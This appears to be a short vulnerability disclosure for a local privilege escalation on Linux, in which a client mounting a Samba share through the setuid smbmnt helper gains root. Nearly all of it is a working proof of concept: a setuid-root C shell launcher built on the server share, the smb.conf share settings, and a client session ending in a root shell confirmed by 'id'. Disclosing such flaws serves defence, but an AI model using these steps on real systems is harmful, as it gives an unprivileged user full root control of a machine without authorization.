Linux Kernel Samba Share Local Privilege Elevation Vulnerability

The following example has been supplied:
"share" - smb server
"slovakia" - smb client

misko@slovakia:~$ smbmount --version
Usage: mount.smbfs service mountpoint [-n] [-o options,...]
Version 3.0.1-Debian

misko@slovakia:~$ ls -l /usr/bin/smbmount
- - -rwxr-xr-x 1 root root 591756 2004-01-13 20:29 /usr/bin/smbmount
misko@slovakia:~$ ls -l /usr/bin/smbmnt
- - -rwsr-sr-x 1 root root 8088 2004-01-13 20:29 /usr/bin/smbmnt
^

Confirmed to be default on Debian and Mandrake.

share:/data/share# cat a.c
main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}

share:/data/share# make a
cc a.c -o a
share:/data/share# chmod +s a
share:/data/share#

share:/etc/samba/smb.conf

[share]
path = /data/share
writable = no
locking = no
public = yes
guest ok = yes
comment = Share

share:/data/share# ls -l a
- - -rwsr-sr-x 1 root root 11716 Feb 8 12:39 a

misko@slovakia:~$ ls -l pokus/a
- - -rwsr-sr-x 1 root root 11716 2004-02-08 12:39 pokus/a
misko@slovakia:~$ pokus/a
root@slovakia:~# id
uid=0(root) gid=0(root) skupiny=1000(misko),0(root),29(audio),100(users),1034(mtr),1035(333)
root@slovakia:~#


 

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